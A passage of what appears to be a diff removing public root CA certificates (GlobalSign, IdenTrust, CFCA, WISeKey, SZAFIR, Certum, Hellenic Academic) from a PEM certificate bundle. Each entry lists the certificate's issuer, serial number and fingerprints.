------END CERTIFICATE----- - -# Issuer: CN=GlobalSign O=GlobalSign OU=GlobalSign ECC Root CA - R5 -# Subject: CN=GlobalSign O=GlobalSign OU=GlobalSign ECC Root CA - R5 -# Label: "GlobalSign ECC Root CA - R5" -# Serial: 32785792099990507226680698011560947931244 -# MD5 Fingerprint: 9f:ad:3b:1c:02:1e:8a:ba:17:74:38:81:0c:a2:bc:08 -# SHA1 Fingerprint: 1f:24:c6:30:cd:a4:18:ef:20:69:ff:ad:4f:dd:5f:46:3a:1b:69:aa -# SHA256 Fingerprint: 17:9f:bc:14:8a:3d:d0:0f:d2:4e:a1:34:58:cc:43:bf:a7:f5:9c:81:82:d7:83:a5:13:f6:eb:ec:10:0c:89:24 ------BEGIN CERTIFICATE----- -MIICHjCCAaSgAwIBAgIRYFlJ4CYuu1X5CneKcflK2GwwCgYIKoZIzj0EAwMwUDEk -MCIGA1UECxMbR2xvYmFsU2lnbiBFQ0MgUm9vdCBDQSAtIFI1MRMwEQYDVQQKEwpH -bG9iYWxTaWduMRMwEQYDVQQDEwpHbG9iYWxTaWduMB4XDTEyMTExMzAwMDAwMFoX -DTM4MDExOTAzMTQwN1owUDEkMCIGA1UECxMbR2xvYmFsU2lnbiBFQ0MgUm9vdCBD -QSAtIFI1MRMwEQYDVQQKEwpHbG9iYWxTaWduMRMwEQYDVQQDEwpHbG9iYWxTaWdu -MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAER0UOlvt9Xb/pOdEh+J8LttV7HpI6SFkc -8GIxLcB6KP4ap1yztsyX50XUWPrRd21DosCHZTQKH3rd6zwzocWdTaRvQZU4f8ke -hOvRnkmSh5SHDDqFSmafnVmTTZdhBoZKo0IwQDAOBgNVHQ8BAf8EBAMCAQYwDwYD -VR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUPeYpSJvqB8ohREom3m7e0oPQn1kwCgYI -KoZIzj0EAwMDaAAwZQIxAOVpEslu28YxuglB4Zf4+/2a4n0Sye18ZNPLBSWLVtmg -515dTguDnFt2KaAJJiFqYgIwcdK1j1zqO+F4CYWodZI7yFz9SO8NdCKoCOJuxUnO -xwy8p2Fp8fc74SrL+SvzZpA3 ------END CERTIFICATE----- - -# Issuer: CN=IdenTrust Commercial Root CA 1 O=IdenTrust -# Subject: CN=IdenTrust Commercial Root CA 1 O=IdenTrust -# Label: "IdenTrust Commercial Root CA 1" -# Serial: 13298821034946342390520003877796839426 -# MD5 Fingerprint: b3:3e:77:73:75:ee:a0:d3:e3:7e:49:63:49:59:bb:c7 -# SHA1 Fingerprint: df:71:7e:aa:4a:d9:4e:c9:55:84:99:60:2d:48:de:5f:bc:f0:3a:25 -# SHA256 Fingerprint: 5d:56:49:9b:e4:d2:e0:8b:cf:ca:d0:8a:3e:38:72:3d:50:50:3b:de:70:69:48:e4:2f:55:60:30:19:e5:28:ae ------BEGIN CERTIFICATE----- -MIIFYDCCA0igAwIBAgIQCgFCgAAAAUUjyES1AAAAAjANBgkqhkiG9w0BAQsFADBK -MQswCQYDVQQGEwJVUzESMBAGA1UEChMJSWRlblRydXN0MScwJQYDVQQDEx5JZGVu -VHJ1c3QgQ29tbWVyY2lhbCBSb290IENBIDEwHhcNMTQwMTE2MTgxMjIzWhcNMzQw -MTE2MTgxMjIzWjBKMQswCQYDVQQGEwJVUzESMBAGA1UEChMJSWRlblRydXN0MScw -JQYDVQQDEx5JZGVuVHJ1c3QgQ29tbWVyY2lhbCBSb290IENBIDEwggIiMA0GCSqG -SIb3DQEBAQUAA4ICDwAwggIKAoICAQCnUBneP5k91DNG8W9RYYKyqU+PZ4ldhNlT -3Qwo2dfw/66VQ3KZ+bVdfIrBQuExUHTRgQ18zZshq0PirK1ehm7zCYofWjK9ouuU -+ehcCuz/mNKvcbO0U59Oh++SvL3sTzIwiEsXXlfEU8L2ApeN2WIrvyQfYo3fw7gp -S0l4PJNgiCL8mdo2yMKi1CxUAGc1bnO/AljwpN3lsKImesrgNqUZFvX9t++uP0D1 -bVoE/c40yiTcdCMbXTMTEl3EASX2MN0CXZ/g1Ue9tOsbobtJSdifWwLziuQkkORi -T0/Br4sOdBeo0XKIanoBScy0RnnGF7HamB4HWfp1IYVl3ZBWzvurpWCdxJ35UrCL -vYf5jysjCiN2O/cz4ckA82n5S6LgTrx+kzmEB/dEcH7+B1rlsazRGMzyNeVJSQjK -Vsk9+w8YfYs7wRPCTY/JTw436R+hDmrfYi7LNQZReSzIJTj0+kuniVyc0uMNOYZK -dHzVWYfCP04MXFL0PfdSgvHqo6z9STQaKPNBiDoT7uje/5kdX7rL6B7yuVBgwDHT -c+XvvqDtMwt0viAgxGds8AgDelWAf0ZOlqf0Hj7h9tgJ4TNkK2PXMl6f+cB7D3hv -l7yTmvmcEpB4eoCHFddydJxVdHixuuFucAS6T6C6aMN7/zHwcz09lCqxC0EOoP5N -iGVreTO01wIDAQABo0IwQDAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB -/zAdBgNVHQ4EFgQU7UQZwNPwBovupHu+QucmVMiONnYwDQYJKoZIhvcNAQELBQAD -ggIBAA2ukDL2pkt8RHYZYR4nKM1eVO8lvOMIkPkp165oCOGUAFjvLi5+U1KMtlwH -6oi6mYtQlNeCgN9hCQCTrQ0U5s7B8jeUeLBfnLOic7iPBZM4zY0+sLj7wM+x8uwt -LRvM7Kqas6pgghstO8OEPVeKlh6cdbjTMM1gCIOQ045U8U1mwF10A0Cj7oV+wh93 -nAbowacYXVKV7cndJZ5t+qntozo00Fl72u1Q8zW/7esUTTHHYPTa8Yec4kjixsU3 -+wYQ+nVZZjFHKdp2mhzpgq7vmrlR94gjmmmVYjzlVYA211QC//G5Xc7UI2/YRYRK -W2XviQzdFKcgyxilJbQN+QHwotL0AMh0jqEqSI5l2xPE4iUXfeu+h1sXIFRRk0pT -AwvsXcoz7WL9RccvW9xYoIA55vrX/hMUpu09lEpCdNTDd1lzzY9GvlU47/rokTLq -l1gEIt44w8y8bckzOmoKaT+gyOpyj4xjhiO9bTyWnpXgSUyqorkqG5w2gXjtw+hG -4iZZRHUe2XWJUc0QhJ1hYMtd+ZciTY6Y5uN/9lu7rs3KSoFrXgvzUeF0K+l+J6fZ -mUlO+KWA2yUPHGNiiskzZ2s8EIPGrd6ozRaOjfAHN3Gf8qv8QfXBi+wAN10J5U6A -7/qxXDgGpRtK4dw4LTzcqx+QGtVKnO7RcGzM7vRX+Bi6hG6H ------END CERTIFICATE----- - -# Issuer: CN=IdenTrust Public Sector Root CA 1 O=IdenTrust -# Subject: CN=IdenTrust Public Sector Root CA 1 O=IdenTrust -# Label: "IdenTrust Public Sector Root CA 1" -# Serial: 13298821034946342390521976156843933698 -# MD5 Fingerprint: 37:06:a5:b0:fc:89:9d:ba:f4:6b:8c:1a:64:cd:d5:ba -# SHA1 Fingerprint: ba:29:41:60:77:98:3f:f4:f3:ef:f2:31:05:3b:2e:ea:6d:4d:45:fd -# SHA256 Fingerprint: 30:d0:89:5a:9a:44:8a:26:20:91:63:55:22:d1:f5:20:10:b5:86:7a:ca:e1:2c:78:ef:95:8f:d4:f4:38:9f:2f ------BEGIN CERTIFICATE----- -MIIFZjCCA06gAwIBAgIQCgFCgAAAAUUjz0Z8AAAAAjANBgkqhkiG9w0BAQsFADBN -MQswCQYDVQQGEwJVUzESMBAGA1UEChMJSWRlblRydXN0MSowKAYDVQQDEyFJZGVu -VHJ1c3QgUHVibGljIFNlY3RvciBSb290IENBIDEwHhcNMTQwMTE2MTc1MzMyWhcN -MzQwMTE2MTc1MzMyWjBNMQswCQYDVQQGEwJVUzESMBAGA1UEChMJSWRlblRydXN0 -MSowKAYDVQQDEyFJZGVuVHJ1c3QgUHVibGljIFNlY3RvciBSb290IENBIDEwggIi -MA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC2IpT8pEiv6EdrCvsnduTyP4o7 -ekosMSqMjbCpwzFrqHd2hCa2rIFCDQjrVVi7evi8ZX3yoG2LqEfpYnYeEe4IFNGy -RBb06tD6Hi9e28tzQa68ALBKK0CyrOE7S8ItneShm+waOh7wCLPQ5CQ1B5+ctMlS -bdsHyo+1W/CD80/HLaXIrcuVIKQxKFdYWuSNG5qrng0M8gozOSI5Cpcu81N3uURF -/YTLNiCBWS2ab21ISGHKTN9T0a9SvESfqy9rg3LvdYDaBjMbXcjaY8ZNzaxmMc3R -3j6HEDbhuaR672BQssvKplbgN6+rNBM5Jeg5ZuSYeqoSmJxZZoY+rfGwyj4GD3vw -EUs3oERte8uojHH01bWRNszwFcYr3lEXsZdMUD2xlVl8BX0tIdUAvwFnol57plzy -9yLxkA2T26pEUWbMfXYD62qoKjgZl3YNa4ph+bz27nb9cCvdKTz4Ch5bQhyLVi9V -GxyhLrXHFub4qjySjmm2AcG1hp2JDws4lFTo6tyePSW8Uybt1as5qsVATFSrsrTZ -2fjXctscvG29ZV/viDUqZi/u9rNl8DONfJhBaUYPQxxp+pu10GFqzcpL2UyQRqsV -WaFHVCkugyhfHMKiq3IXAAaOReyL4jM9f9oZRORicsPfIsbyVtTdX5Vy7W1f90gD -W/3FKqD2cyOEEBsB5wIDAQABo0IwQDAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/ -BAUwAwEB/zAdBgNVHQ4EFgQU43HgntinQtnbcZFrlJPrw6PRFKMwDQYJKoZIhvcN -AQELBQADggIBAEf63QqwEZE4rU1d9+UOl1QZgkiHVIyqZJnYWv6IAcVYpZmxI1Qj -t2odIFflAWJBF9MJ23XLblSQdf4an4EKwt3X9wnQW3IV5B4Jaj0z8yGa5hV+rVHV -DRDtfULAj+7AmgjVQdZcDiFpboBhDhXAuM/FSRJSzL46zNQuOAXeNf0fb7iAaJg9 -TaDKQGXSc3z1i9kKlT/YPyNtGtEqJBnZhbMX73huqVjRI9PHE+1yJX9dsXNw0H8G -lwmEKYBhHfpe/3OsoOOJuBxxFcbeMX8S3OFtm6/n6J91eEyrRjuazr8FGF1NFTwW -mhlQBJqymm9li1JfPFgEKCXAZmExfrngdbkaqIHWchezxQMxNRF4eKLg6TCMf4Df -WN88uieW4oA0beOY02QnrEh+KHdcxiVhJfiFDGX6xDIvpZgF5PgLZxYWxoK4Mhn5 -+bl53B/N66+rDt0b20XkeucC4pVd/GnwU2lhlXV5C15V5jgclKlZM57IcXR5f1GJ -tshquDDIajjDbp7hNxbqBWJMWxJH7ae0s1hWx0nzfxJoCTFx8G34Tkf71oXuxVhA -GaQdp/lLQzfcaFpPz+vCZHTetBXZ9FRUGi8c15dxVJCO2SCdUyt/q4/i6jC8UDfv -8Ue1fXwsBOxonbRJRBD0ckscZOf85muQ3Wl9af0AVqW3rLatt8o+Ae+c ------END CERTIFICATE----- - -# Issuer: CN=CFCA EV ROOT O=China Financial Certification Authority -# Subject: CN=CFCA EV ROOT O=China Financial Certification Authority -# Label: "CFCA EV ROOT" -# Serial: 407555286 -# MD5 Fingerprint: 74:e1:b6:ed:26:7a:7a:44:30:33:94:ab:7b:27:81:30 -# SHA1 Fingerprint: e2:b8:29:4b:55:84:ab:6b:58:c2:90:46:6c:ac:3f:b8:39:8f:84:83 -# SHA256 Fingerprint: 5c:c3:d7:8e:4e:1d:5e:45:54:7a:04:e6:87:3e:64:f9:0c:f9:53:6d:1c:cc:2e:f8:00:f3:55:c4:c5:fd:70:fd ------BEGIN CERTIFICATE----- -MIIFjTCCA3WgAwIBAgIEGErM1jANBgkqhkiG9w0BAQsFADBWMQswCQYDVQQGEwJD -TjEwMC4GA1UECgwnQ2hpbmEgRmluYW5jaWFsIENlcnRpZmljYXRpb24gQXV0aG9y -aXR5MRUwEwYDVQQDDAxDRkNBIEVWIFJPT1QwHhcNMTIwODA4MDMwNzAxWhcNMjkx -MjMxMDMwNzAxWjBWMQswCQYDVQQGEwJDTjEwMC4GA1UECgwnQ2hpbmEgRmluYW5j -aWFsIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MRUwEwYDVQQDDAxDRkNBIEVWIFJP -T1QwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDXXWvNED8fBVnVBU03 -sQ7smCuOFR36k0sXgiFxEFLXUWRwFsJVaU2OFW2fvwwbwuCjZ9YMrM8irq93VCpL -TIpTUnrD7i7es3ElweldPe6hL6P3KjzJIx1qqx2hp/Hz7KDVRM8Vz3IvHWOX6Jn5 -/ZOkVIBMUtRSqy5J35DNuF++P96hyk0g1CXohClTt7GIH//62pCfCqktQT+x8Rgp -7hZZLDRJGqgG16iI0gNyejLi6mhNbiyWZXvKWfry4t3uMCz7zEasxGPrb382KzRz -EpR/38wmnvFyXVBlWY9ps4deMm/DGIq1lY+wejfeWkU7xzbh72fROdOXW3NiGUgt -hxwG+3SYIElz8AXSG7Ggo7cbcNOIabla1jj0Ytwli3i/+Oh+uFzJlU9fpy25IGvP -a931DfSCt/SyZi4QKPaXWnuWFo8BGS1sbn85WAZkgwGDg8NNkt0yxoekN+kWzqot -aK8KgWU6cMGbrU1tVMoqLUuFG7OA5nBFDWteNfB/O7ic5ARwiRIlk9oKmSJgamNg -TnYGmE69g60dWIolhdLHZR4tjsbftsbhf4oEIRUpdPA+nJCdDC7xij5aqgwJHsfV -PKPtl8MeNPo4+QgO48BdK4PRVmrJtqhUUy54Mmc9gn900PvhtgVguXDbjgv5E1hv -cWAQUhC5wUEJ73IfZzF4/5YFjQIDAQABo2MwYTAfBgNVHSMEGDAWgBTj/i39KNAL -tbq2osS/BqoFjJP7LzAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAd -BgNVHQ4EFgQU4/4t/SjQC7W6tqLEvwaqBYyT+y8wDQYJKoZIhvcNAQELBQADggIB -ACXGumvrh8vegjmWPfBEp2uEcwPenStPuiB/vHiyz5ewG5zz13ku9Ui20vsXiObT -ej/tUxPQ4i9qecsAIyjmHjdXNYmEwnZPNDatZ8POQQaIxffu2Bq41gt/UP+TqhdL -jOztUmCypAbqTuv0axn96/Ua4CUqmtzHQTb3yHQFhDmVOdYLO6Qn+gjYXB74BGBS -ESgoA//vU2YApUo0FmZ8/Qmkrp5nGm9BC2sGE5uPhnEFtC+NiWYzKXZUmhH4J/qy -P5Hgzg0b8zAarb8iXRvTvyUFTeGSGn+ZnzxEk8rUQElsgIfXBDrDMlI1Dlb4pd19 -xIsNER9Tyx6yF7Zod1rg1MvIB671Oi6ON7fQAUtDKXeMOZePglr4UeWJoBjnaH9d -Ci77o0cOPaYjesYBx4/IXr9tgFa+iiS6M+qf4TIRnvHST4D2G0CvOJ4RUHlzEhLN -5mydLIhyPDCBBpEi6lmt2hkuIsKNuYyH4Ga8cyNfIWRjgEj1oDwYPZTISEEdQLpe -/v5WOaHIz16eGWRGENoXkbcFgKyLmZJ956LYBws2J+dIeWCKw9cTXPhyQN9Ky8+Z -AAoACxGV2lZFA4gKn2fQ1XmxqI1AbQ3CekD6819kR5LLU7m7Wc5P/dAVUwHY3+vZ -5nbv0CO7O6l5s9UCKc2Jo5YPSjXnTkLAdc0Hz+Ys63su ------END CERTIFICATE----- - -# Issuer: CN=OISTE WISeKey Global Root GB CA O=WISeKey OU=OISTE Foundation Endorsed -# Subject: CN=OISTE WISeKey Global Root GB CA O=WISeKey OU=OISTE Foundation Endorsed -# Label: "OISTE WISeKey Global Root GB CA" -# Serial: 157768595616588414422159278966750757568 -# MD5 Fingerprint: a4:eb:b9:61:28:2e:b7:2f:98:b0:35:26:90:99:51:1d -# SHA1 Fingerprint: 0f:f9:40:76:18:d3:d7:6a:4b:98:f0:a8:35:9e:0c:fd:27:ac:cc:ed -# SHA256 Fingerprint: 6b:9c:08:e8:6e:b0:f7:67:cf:ad:65:cd:98:b6:21:49:e5:49:4a:67:f5:84:5e:7b:d1:ed:01:9f:27:b8:6b:d6 ------BEGIN CERTIFICATE----- -MIIDtTCCAp2gAwIBAgIQdrEgUnTwhYdGs/gjGvbCwDANBgkqhkiG9w0BAQsFADBt -MQswCQYDVQQGEwJDSDEQMA4GA1UEChMHV0lTZUtleTEiMCAGA1UECxMZT0lTVEUg -Rm91bmRhdGlvbiBFbmRvcnNlZDEoMCYGA1UEAxMfT0lTVEUgV0lTZUtleSBHbG9i -YWwgUm9vdCBHQiBDQTAeFw0xNDEyMDExNTAwMzJaFw0zOTEyMDExNTEwMzFaMG0x -CzAJBgNVBAYTAkNIMRAwDgYDVQQKEwdXSVNlS2V5MSIwIAYDVQQLExlPSVNURSBG -b3VuZGF0aW9uIEVuZG9yc2VkMSgwJgYDVQQDEx9PSVNURSBXSVNlS2V5IEdsb2Jh -bCBSb290IEdCIENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2Be3 -HEokKtaXscriHvt9OO+Y9bI5mE4nuBFde9IllIiCFSZqGzG7qFshISvYD06fWvGx -WuR51jIjK+FTzJlFXHtPrby/h0oLS5daqPZI7H17Dc0hBt+eFf1Biki3IPShehtX -1F1Q/7pn2COZH8g/497/b1t3sWtuuMlk9+HKQUYOKXHQuSP8yYFfTvdv37+ErXNk -u7dCjmn21HYdfp2nuFeKUWdy19SouJVUQHMD9ur06/4oQnc/nSMbsrY9gBQHTC5P -99UKFg29ZkM3fiNDecNAhvVMKdqOmq0NpQSHiB6F4+lT1ZvIiwNjeOvgGUpuuy9r -M2RYk61pv48b74JIxwIDAQABo1EwTzALBgNVHQ8EBAMCAYYwDwYDVR0TAQH/BAUw -AwEB/zAdBgNVHQ4EFgQUNQ/INmNe4qPs+TtmFc5RUuORmj0wEAYJKwYBBAGCNxUB -BAMCAQAwDQYJKoZIhvcNAQELBQADggEBAEBM+4eymYGQfp3FsLAmzYh7KzKNbrgh -cViXfa43FK8+5/ea4n32cZiZBKpDdHij40lhPnOMTZTg+XHEthYOU3gf1qKHLwI5 -gSk8rxWYITD+KJAAjNHhy/peyP34EEY7onhCkRd0VQreUGdNZtGn//3ZwLWoo4rO -ZvUPQ82nK1d7Y0Zqqi5S2PTt4W2tKZB4SLrhI6qjiey1q5bAtEuiHZeeevJuQHHf -aPFlTc58Bd9TZaml8LGXBHAVRgOY1NK/VLSgWH1Sb9pWJmLU2NuJMW8c8CLC02Ic -Nc1MaRVUGpCY3useX8p3x8uOPUNpnJpY0CQ73xtAln41rYHHTnG6iBM= ------END CERTIFICATE----- - -# Issuer: CN=SZAFIR ROOT CA2 O=Krajowa Izba Rozliczeniowa S.A. -# Subject: CN=SZAFIR ROOT CA2 O=Krajowa Izba Rozliczeniowa S.A. -# Label: "SZAFIR ROOT CA2" -# Serial: 357043034767186914217277344587386743377558296292 -# MD5 Fingerprint: 11:64:c1:89:b0:24:b1:8c:b1:07:7e:89:9e:51:9e:99 -# SHA1 Fingerprint: e2:52:fa:95:3f:ed:db:24:60:bd:6e:28:f3:9c:cc:cf:5e:b3:3f:de -# SHA256 Fingerprint: a1:33:9d:33:28:1a:0b:56:e5:57:d3:d3:2b:1c:e7:f9:36:7e:b0:94:bd:5f:a7:2a:7e:50:04:c8:de:d7:ca:fe ------BEGIN CERTIFICATE----- -MIIDcjCCAlqgAwIBAgIUPopdB+xV0jLVt+O2XwHrLdzk1uQwDQYJKoZIhvcNAQEL -BQAwUTELMAkGA1UEBhMCUEwxKDAmBgNVBAoMH0tyYWpvd2EgSXpiYSBSb3psaWN6 -ZW5pb3dhIFMuQS4xGDAWBgNVBAMMD1NaQUZJUiBST09UIENBMjAeFw0xNTEwMTkw -NzQzMzBaFw0zNTEwMTkwNzQzMzBaMFExCzAJBgNVBAYTAlBMMSgwJgYDVQQKDB9L -cmFqb3dhIEl6YmEgUm96bGljemVuaW93YSBTLkEuMRgwFgYDVQQDDA9TWkFGSVIg -Uk9PVCBDQTIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC3vD5QqEvN -QLXOYeeWyrSh2gwisPq1e3YAd4wLz32ohswmUeQgPYUM1ljj5/QqGJ3a0a4m7utT -3PSQ1hNKDJA8w/Ta0o4NkjrcsbH/ON7Dui1fgLkCvUqdGw+0w8LBZwPd3BucPbOw -3gAeqDRHu5rr/gsUvTaE2g0gv/pby6kWIK05YO4vdbbnl5z5Pv1+TW9NL++IDWr6 -3fE9biCloBK0TXC5ztdyO4mTp4CEHCdJckm1/zuVnsHMyAHs6A6KCpbns6aH5db5 -BSsNl0BwPLqsdVqc1U2dAgrSS5tmS0YHF2Wtn2yIANwiieDhZNRnvDF5YTy7ykHN -XGoAyDw4jlivAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQD -AgEGMB0GA1UdDgQWBBQuFqlKGLXLzPVvUPMjX/hd56zwyDANBgkqhkiG9w0BAQsF -AAOCAQEAtXP4A9xZWx126aMqe5Aosk3AM0+qmrHUuOQn/6mWmc5G4G18TKI4pAZw -8PRBEew/R40/cof5O/2kbytTAOD/OblqBw7rHRz2onKQy4I9EYKL0rufKq8h5mOG -nXkZ7/e7DDWQw4rtTw/1zBLZpD67oPwglV9PJi8RI4NOdQcPv5vRtB3pEAT+ymCP -oky4rc/hkA/NrgrHXXu3UNLUYfrVFdvXn4dRVOul4+vJhaAlIDf7js4MNIThPIGy -d05DpYhfhmehPea0XGG2Ptv+tyjFogeutcrKjSoS75ftwjCkySp6+/NNIxuZMzSg -LvWpCz/UXeHPhJ/iGcJfitYgHuNztw== ------END CERTIFICATE----- - -# Issuer: CN=Certum Trusted Network CA 2 O=Unizeto Technologies S.A. OU=Certum Certification Authority -# Subject: CN=Certum Trusted Network CA 2 O=Unizeto Technologies S.A. OU=Certum Certification Authority -# Label: "Certum Trusted Network CA 2" -# Serial: 44979900017204383099463764357512596969 -# MD5 Fingerprint: 6d:46:9e:d9:25:6d:08:23:5b:5e:74:7d:1e:27:db:f2 -# SHA1 Fingerprint: d3:dd:48:3e:2b:bf:4c:05:e8:af:10:f5:fa:76:26:cf:d3:dc:30:92 -# SHA256 Fingerprint: b6:76:f2:ed:da:e8:77:5c:d3:6c:b0:f6:3c:d1:d4:60:39:61:f4:9e:62:65:ba:01:3a:2f:03:07:b6:d0:b8:04 ------BEGIN CERTIFICATE----- -MIIF0jCCA7qgAwIBAgIQIdbQSk8lD8kyN/yqXhKN6TANBgkqhkiG9w0BAQ0FADCB -gDELMAkGA1UEBhMCUEwxIjAgBgNVBAoTGVVuaXpldG8gVGVjaG5vbG9naWVzIFMu -QS4xJzAlBgNVBAsTHkNlcnR1bSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTEkMCIG -A1UEAxMbQ2VydHVtIFRydXN0ZWQgTmV0d29yayBDQSAyMCIYDzIwMTExMDA2MDgz -OTU2WhgPMjA0NjEwMDYwODM5NTZaMIGAMQswCQYDVQQGEwJQTDEiMCAGA1UEChMZ -VW5pemV0byBUZWNobm9sb2dpZXMgUy5BLjEnMCUGA1UECxMeQ2VydHVtIENlcnRp -ZmljYXRpb24gQXV0aG9yaXR5MSQwIgYDVQQDExtDZXJ0dW0gVHJ1c3RlZCBOZXR3 -b3JrIENBIDIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC9+Xj45tWA -DGSdhhuWZGc/IjoedQF97/tcZ4zJzFxrqZHmuULlIEub2pt7uZld2ZuAS9eEQCsn -0+i6MLs+CRqnSZXvK0AkwpfHp+6bJe+oCgCXhVqqndwpyeI1B+twTUrWwbNWuKFB -OJvR+zF/j+Bf4bE/D44WSWDXBo0Y+aomEKsq09DRZ40bRr5HMNUuctHFY9rnY3lE -fktjJImGLjQ/KUxSiyqnwOKRKIm5wFv5HdnnJ63/mgKXwcZQkpsCLL2puTRZCr+E -Sv/f/rOf69me4Jgj7KZrdxYq28ytOxykh9xGc14ZYmhFV+SQgkK7QtbwYeDBoz1m -o130GO6IyY0XRSmZMnUCMe4pJshrAua1YkV/NxVaI2iJ1D7eTiew8EAMvE0Xy02i -sx7QBlrd9pPPV3WZ9fqGGmd4s7+W/jTcvedSVuWz5XV710GRBdxdaeOVDUO5/IOW -OZV7bIBaTxNyxtd9KXpEulKkKtVBRgkg/iKgtlswjbyJDNXXcPiHUv3a76xRLgez -Tv7QCdpw75j6VuZt27VXS9zlLCUVyJ4ueE742pyehizKV/Ma5ciSixqClnrDvFAS -adgOWkaLOusm+iPJtrCBvkIApPjW/jAux9JG9uWOdf3yzLnQh1vMBhBgu4M1t15n -3kfsmUjxpKEV/q2MYo45VU85FrmxY53/twIDAQABo0IwQDAPBgNVHRMBAf8EBTAD -AQH/MB0GA1UdDgQWBBS2oVQ5AsOgP46KvPrU+Bym0ToO/TAOBgNVHQ8BAf8EBAMC -AQYwDQYJKoZIhvcNAQENBQADggIBAHGlDs7k6b8/ONWJWsQCYftMxRQXLYtPU2sQ -F/xlhMcQSZDe28cmk4gmb3DWAl45oPePq5a1pRNcgRRtDoGCERuKTsZPpd1iHkTf -CVn0W3cLN+mLIMb4Ck4uWBzrM9DPhmDJ2vuAL55MYIR4PSFk1vtBHxgP58l1cb29 -XN40hz5BsA72udY/CROWFC/emh1auVbONTqwX3BNXuMp8SMoclm2q8KMZiYcdywm -djWLKKdpoPk79SPdhRB0yZADVpHnr7pH1BKXESLjokmUbOe3lEu6LaTaM4tMpkT/ -WjzGHWTYtTHkpjx6qFcL2+1hGsvxznN3Y6SHb0xRONbkX8eftoEq5IVIeVheO/jb -AoJnwTnbw3RLPTYe+SmTiGhbqEQZIfCn6IENLOiTNrQ3ssqwGyZ6miUfmpqAnksq -P/ujmv5zMnHCnsZy4YpoJ/HkD7TETKVhk/iXEAcqMCWpuchxuO9ozC1+9eB+D4Ko -b7a6bINDd82Kkhehnlt4Fj1F4jNy3eFmypnTycUm/Q1oBEauttmbjL4ZvrHG8hnj -XALKLNhvSgfZyTXaQHXyxKcZb55CEJh15pWLYLztxRLXis7VmFxWlgPF7ncGNf/P -5O4/E2Hu29othfDNrp2yGAlFw5Khchf8R7agCyzxxN5DaAhqXzvwdmP7zAYspsbi -DrW5viSP ------END CERTIFICATE----- - -# Issuer: CN=Hellenic Academic and Research Institutions RootCA 2015 O=Hellenic Academic and Research Institutions Cert. Authority -# Subject: CN=Hellenic Academic and Research Institutions RootCA 2015 O=Hellenic Academic and Research Institutions Cert. Authority -# Label: "Hellenic Academic and Research Institutions RootCA 2015" -# Serial: 0 -# MD5 Fingerprint: ca:ff:e2:db:03:d9:cb:4b:e9:0f:ad:84:fd:7b:18:ce -# SHA1 Fingerprint: 01:0c:06:95:a6:98:19:14:ff:bf:5f:c6:b0:b6:95:ea:29:e9:12:a6 -# SHA256 Fingerprint: a0:40:92:9a:02:ce:53:b4:ac:f4:f2:ff:c6:98:1c:e4:49:6f:75:5e:6d:45:fe:0b:2a:69:2b:cd:52:52:3f:36 ------BEGIN CERTIFICATE----- -MIIGCzCCA/OgAwIBAgIBADANBgkqhkiG9w0BAQsFADCBpjELMAkGA1UEBhMCR1Ix -DzANBgNVBAcTBkF0aGVuczFEMEIGA1UEChM7SGVsbGVuaWMgQWNhZGVtaWMgYW5k -IFJlc2VhcmNoIEluc3RpdHV0aW9ucyBDZXJ0LiBBdXRob3JpdHkxQDA+BgNVBAMT -N0hlbGxlbmljIEFjYWRlbWljIGFuZCBSZXNlYXJjaCBJbnN0aXR1dGlvbnMgUm9v -dENBIDIwMTUwHhcNMTUwNzA3MTAxMTIxWhcNNDAwNjMwMTAxMTIxWjCBpjELMAkG -A1UEBhMCR1IxDzANBgNVBAcTBkF0aGVuczFEMEIGA1UEChM7SGVsbGVuaWMgQWNh -ZGVtaWMgYW5kIFJlc2VhcmNoIEluc3RpdHV0aW9ucyBDZXJ0LiBBdXRob3JpdHkx -QDA+BgNVBAMTN0hlbGxlbmljIEFjYWRlbWljIGFuZCBSZXNlYXJjaCBJbnN0aXR1 -dGlvbnMgUm9vdENBIDIwMTUwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoIC -AQDC+Kk/G4n8PDwEXT2QNrCROnk8ZlrvbTkBSRq0t89/TSNTt5AA4xMqKKYx8ZEA -4yjsriFBzh/a/X0SWwGDD7mwX5nh8hKDgE0GPt+sr+ehiGsxr/CL0BgzuNtFajT0 -AoAkKAoCFZVedioNmToUW/bLy1O8E00BiDeUJRtCvCLYjqOWXjrZMts+6PAQZe10 -4S+nfK8nNLspfZu2zwnI5dMK/IhlZXQK3HMcXM1AsRzUtoSMTFDPaI6oWa7CJ06C -ojXdFPQf/7J31Ycvqm59JCfnxssm5uX+Zwdj2EUN3TpZZTlYepKZcj2chF6IIbjV -9Cz82XBST3i4vTwri5WY9bPRaM8gFH5MXF/ni+X1NYEZN9cRCLdmvtNKzoNXADrD -gfgXy5I2XdGj2HUb4Ysn6npIQf1FGQatJ5lOwXBH3bWfgVMS5bGMSF0xQxfjjMZ6 -Y5ZLKTBOhE5iGV48zpeQpX8B653g+IuJ3SWYPZK2fu/Z8VFRfS0myGlZYeCsargq -NhEEelC9MoS+L9xy1dcdFkfkR2YgP/SWxa+OAXqlD3pk9Q0Yh9muiNX6hME6wGko -LfINaFGq46V3xqSQDqE3izEjR8EJCOtu93ib14L8hCCZSRm2Ekax+0VVFqmjZayc -Bw/qa9wfLgZy7IaIEuQt218FL+TwA9MmM+eAws1CoRc0CwIDAQABo0IwQDAPBgNV -HRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUcRVnyMjJvXVd -ctA4GGqd83EkVAswDQYJKoZIhvcNAQELBQADggIBAHW7bVRLqhBYRjTyYtcWNl0I -XtVsyIe9tC5G8jH4fOpCtZMWVdyhDBKg2mF+D1hYc2Ryx+hFjtyp8iY/xnmMsVMI 